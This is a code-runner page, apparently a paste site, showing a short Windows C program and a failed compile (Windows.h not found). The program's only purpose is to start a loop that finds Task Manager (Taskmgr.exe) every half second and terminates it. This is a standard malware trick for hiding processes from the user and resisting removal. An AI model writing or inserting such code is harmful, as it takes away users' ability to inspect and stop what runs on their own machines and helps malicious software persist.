fork(1) download
  1. #include <Windows.h>
  2. #include <TlHelp32.h>
  3.  
  4.  
  5. void TerminateTaskMgr(void)
  6. {
  7. PROCESSENTRY32 pe32;
  8. HANDLE snapshot = NULL;
  9. HANDLE hProcess = NULL;
  10. DWORD ProcessID = 0;
  11.  
  12. if ((snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) != INVALID_HANDLE_VALUE)
  13. {
  14. RtlZeroMemory(&pe32, sizeof(PROCESSENTRY32));
  15. pe32.dwSize = sizeof(PROCESSENTRY32);
  16. Process32First(snapshot, &pe32);
  17. do
  18. {
  19. if (lstrcmp(pe32.szExeFile, TEXT("Taskmgr.exe")) == 0)
  20. {
  21. ProcessID = pe32.th32ProcessID;
  22. break;
  23. }
  24. } while (Process32Next(snapshot, &pe32));
  25. if (ProcessID)
  26. {
  27. hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessID);
  28. if (hProcess)
  29. TerminateProcess(hProcess, 0);
  30. CloseHandle(hProcess);
  31. }
  32. }
  33. CloseHandle(snapshot);
  34. }
  35.  
  36. void TerminateRoutine(void *p)
  37. {
  38. while (1)
  39. {
  40. TerminateTaskMgr();
  41. Sleep(500);
  42. }
  43. }
  44.  
  45. int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow)
  46. {
  47. DWORD ThreadID = 0;
  48. HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TerminateRoutine, NULL, 0, &ThreadID);
  49.  
  50. WaitForSingleObject(hThread, INFINITE);
  51. }
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.cpp:1:21: fatal error: Windows.h: No such file or directory
compilation terminated.
stdout
Standard output is empty